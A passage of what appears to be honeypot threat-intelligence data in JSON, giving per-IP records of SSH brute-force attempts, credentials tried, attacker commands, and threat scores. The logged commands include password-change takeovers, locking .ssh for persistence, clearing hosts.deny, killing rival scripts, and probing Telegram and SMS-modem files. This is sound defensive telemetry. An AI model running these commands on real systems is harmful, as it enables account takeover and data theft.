        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"claude01!\\n4o8C3uoKxXq8\\n4o8C3uoKxXq8\\n\"|passwd",
        "echo -e \"claude01!\\n4o8C3uoKxXq8\\n4o8C3uoKxXq8\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 9.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 210,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T05:18:21.058000+00:00",
        "last_seen_30d": "2026-04-08T06:21:34.090000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 159,
        "Suricata": 51
      }
    },
    "50.225.176.238": {
      "attack_count": 158,
      "first_seen": "2026-04-27T20:44:09.480Z",
      "last_seen": "2026-04-27T21:10:58.498Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "1qaz1qaz1qaz",
        "1qaz2wsx2024",
        "202527",
        "321321321",
        "3245gs5662d34",
        "345gs5662d34",
        "A123456a",
        "Albert",
        "Rose2026",
        "aA@147258",
        "azertyui",
        "irfan",
        "level42",
        "omar",
        "p@ssW0RD",
        "qq5202514",
        "qwe@12345",
        "rootroot12",
        "spartak",
        "sun2day"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:qZG8ca4BFUId\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 204,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T20:44:09.480000+00:00",
        "last_seen_30d": "2026-04-27T21:12:04.722000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 158,
        "Suricata": 46
      }
    },
    "151.115.32.9": {
      "attack_count": 150,
      "first_seen": "2026-04-15T01:31:24.345Z",
      "last_seen": "2026-04-15T01:32:53.882Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "chinxmr",
        "dev",
        "dillof",
        "git",
        "mc",
        "oracle",
        "pilinux",
        "postgres",
        "server",
        "system",
        "test",
        "testuser",
        "ubnt",
        "ubuntu",
        "user",
        "zabbix"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "1234567890",
        "1qaz@wsx",
        "chi1234567890",
        "dev",
        "dillofsha256s",
        "git",
        "mc",
        "oracle",
        "pilinux123",
        "postgres",
        "redhat",
        "root",
        "server",
        "system",
        "test",
        "testuser",
        "toor"
      ],
      "commands_executed": [
        "uname -a ; echo 'vT'"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 12876,
      "as_org": "Scaleway SAS",
      "threat_score": 18.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 211,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T00:08:17.637000+00:00",
        "last_seen_30d": "2026-04-15T01:33:59.035000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 61
      }
    },
    "218.78.132.164": {
      "attack_count": 114,
      "first_seen": "2026-04-20T13:52:29.538Z",
      "last_seen": "2026-04-20T14:26:05.650Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "root",
        "gitolite",
        "345gs5662d34",
        "testftp",
        "ubuntu",
        "user",
        "user1",
        "vpn"
      ],
      "passwords_attempted": [
        "1qaz",
        "3245gs5662d34",
        "333",
        "345gs5662d34",
        "Abcd@123456",
        "Qazwsx11111#$",
        "Qq123!@#",
        "gitolite",
        "pass123",
        "root001",
        "vpn17!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"gitolite\\nboiT81dm33hK\\nboiT81dm33hK\\n\"|passwd",
        "echo -e \"gitolite\\nboiT81dm33hK\\nboiT81dm33hK\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4812,
      "as_org": "China Telecom Group",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T13:52:29.538000+00:00",
        "last_seen_30d": "2026-04-20T14:27:14.608000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 114,
        "Suricata": 28
      }
    },
    "34.62.249.39": {
      "attack_count": 71,
      "first_seen": "2026-04-28T06:45:24.645Z",
      "last_seen": "2026-04-28T06:46:21.131Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 8698",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 31.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T06:45:24.645000+00:00",
        "last_seen_30d": "2026-04-28T06:47:29.191000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "115.49.88.187": {
      "attack_count": 50,
      "first_seen": "2026-04-07T16:56:00.841Z",
      "last_seen": "2026-04-07T17:01:25.369Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 7.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T16:56:00.841000+00:00",
        "last_seen_30d": "2026-04-07T17:02:33.850000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "66.167.166.153": {
      "attack_count": 50,
      "first_seen": "2026-04-04T06:50:59.635Z",
      "last_seen": "2026-04-04T06:56:25.044Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T06:50:59.635000+00:00",
        "last_seen_30d": "2026-04-04T06:57:29.194000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "45.249.85.225": {
      "attack_count": 48,
      "first_seen": "2026-04-18T12:30:02.323Z",
      "last_seen": "2026-04-18T12:35:13.907Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 17747,
      "as_org": "SITI NETWORKS LIMITED",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T12:30:02.323000+00:00",
        "last_seen_30d": "2026-04-18T12:36:14.356000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "39.37.154.24": {
      "attack_count": 36,
      "first_seen": "2026-04-25T01:02:13.674Z",
      "last_seen": "2026-04-25T01:05:18.794Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "Alphanetworks",
        "default",
        "e8ehomeasb",
        "fliruser",
        "ftp",
        "guest",
        "useradmin",
        "vadmin",
        "zyfwp"
      ],
      "passwords_attempted": [
        "1001chin",
        "1111",
        "12345",
        "123456",
        "1234567",
        "1234567890",
        "9vt@f3Vt",
        "GM8182",
        "admin",
        "administrator",
        "e8ehomeasb",
        "fliruser",
        "founder88",
        "root",
        "system",
        "useradmin123",
        "video",
        "wrgn22_dlwbr_dir615",
        "xc12345",
        "zyad5001"
      ],
      "commands_executed": [
        "shell",
        "system",
        "",
        "/bin/busybox cat /proc/self/exe || cat /proc/self/exe",
        "cat /proc/self/exe",
        "enable",
        "ping; sh",
        "sh"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.success",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T01:02:13.674000+00:00",
        "last_seen_30d": "2026-04-25T01:15:53.202000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 3
      }
    },
    "90.156.195.162": {
      "attack_count": 35,
      "first_seen": "2026-04-10T15:34:56.571Z",
      "last_seen": "2026-04-11T17:38:10.475Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "#2026kelltech",
        "1$kelltech",
        "1234!Kelltech",
        "123@kelltech",
        "2024@Kelltech",
        "kelltech#1",
        "kelltech1."
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 56,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T15:34:56.571000+00:00",
        "last_seen_30d": "2026-04-11T17:39:16.812000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 21
      }
    },
    "162.81.54.105": {
      "attack_count": 34,
      "first_seen": "2026-04-19T15:28:33.259Z",
      "last_seen": "2026-04-20T01:55:11.892Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil",
        "admin",
        "root"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Knoxville",
      "asn": 33566,
      "as_org": "Knoxville Utilities Board",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-19T15:28:33+00:00",
        "last_seen_30d": "2026-04-20T01:56:20.485000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 26,
        "Honeytrap": 4
      }
    },
    "222.118.170.176": {
      "attack_count": 34,
      "first_seen": "2026-04-20T08:44:53.434Z",
      "last_seen": "2026-04-20T08:45:48.094Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheonan",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 19.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T08:44:53.434000+00:00",
        "last_seen_30d": "2026-04-20T08:46:57.703000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 4
      }
    },
    "175.165.85.114": {
      "attack_count": 32,
      "first_seen": "2026-04-14T03:48:16.450Z",
      "last_seen": "2026-04-14T03:51:48.466Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T03:48:16.450000+00:00",
        "last_seen_30d": "2026-04-14T04:02:42.419000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "3.21.170.111": {
      "attack_count": 22,
      "first_seen": "2026-04-16T13:02:45.268Z",
      "last_seen": "2026-04-16T13:09:38.448Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: visionheight.com/scan Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 75,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-16T13:02:45.268000+00:00",
        "last_seen_30d": "2026-04-16T13:27:16.249000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Cowrie": 22,
        "Honeytrap": 10
      }
    },
    "144.31.220.30": {
      "attack_count": 20,
      "first_seen": "2026-04-10T04:56:38.626Z",
      "last_seen": "2026-04-10T04:58:18.548Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 216039,
      "as_org": "EdgeSec Technologies Limited",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T04:56:38.626000+00:00",
        "last_seen_30d": "2026-04-10T04:59:23.854000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 10
      }
    },
    "45.139.211.68": {
      "attack_count": 20,
      "first_seen": "2026-04-15T00:17:59.102Z",
      "last_seen": "2026-04-15T00:18:03.198Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 215224,
      "as_org": "NovoServe B.V.",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T00:17:59.102000+00:00",
        "last_seen_30d": "2026-04-15T00:19:13.574000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 11
      }
    },
    "31.56.209.38": {
      "attack_count": 19,
      "first_seen": "2026-04-17T13:48:17.793Z",
      "last_seen": "2026-04-23T10:57:18.477Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 209373,
      "as_org": "Swissnet LLC",
      "threat_score": 26.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T13:48:12.303000+00:00",
        "last_seen_30d": "2026-04-23T11:07:28.500000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 21,
        "Cowrie": 19
      }
    },
    "64.62.156.80": {
      "attack_count": 18,
      "first_seen": "2026-04-01T01:35:54.697Z",
      "last_seen": "2026-04-27T01:32:41.761Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 30,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T01:29:03+00:00",
        "last_seen_30d": "2026-04-30T10:40:37.570000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 159,
        "Honeytrap": 73,
        "Cowrie": 18,
        "ConPot": 5,
        "Dionaea": 5,
        "Ipphoney": 1,
        "Miniprint": 1
      }
    },
    "165.101.251.150": {
      "attack_count": 16,
      "first_seen": "2026-04-13T03:02:18.674Z",
      "last_seen": "2026-04-21T10:17:02.724Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "root@123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mumbai",
      "asn": 152565,
      "as_org": "JOY SERVICES",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T16:27:24.264000+00:00",
        "last_seen_30d": "2026-04-21T10:18:06.894000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 16
      }
    },
    "130.12.181.151": {
      "attack_count": 14,
      "first_seen": "2026-04-30T07:52:22.133Z",
      "last_seen": "2026-04-30T08:04:01.345Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 36680,
      "as_org": "Netiface LLC",
      "threat_score": 87.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 578,
        "days_active_30d": 30,
        "ports_targeted_30d": 68,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T04:33:55+00:00",
        "last_seen_30d": "2026-04-30T19:05:51.124000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 343,
        "Honeytrap": 221,
        "Cowrie": 14
      }
    },
    "47.253.5.130": {
      "attack_count": 14,
      "first_seen": "2026-04-05T02:26:41.876Z",
      "last_seen": "2026-04-29T03:02:28.330Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 64.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.7,
        "persistence": 24.2,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 94,
        "days_active_30d": 29,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T02:09:50.821000+00:00",
        "last_seen_30d": "2026-04-29T07:24:49.489000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 69,
        "Cowrie": 14,
        "Honeytrap": 11
      }
    },
    "138.197.101.95": {
      "attack_count": 10,
      "first_seen": "2026-04-11T10:18:03.745Z",
      "last_seen": "2026-04-11T10:19:10.110Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
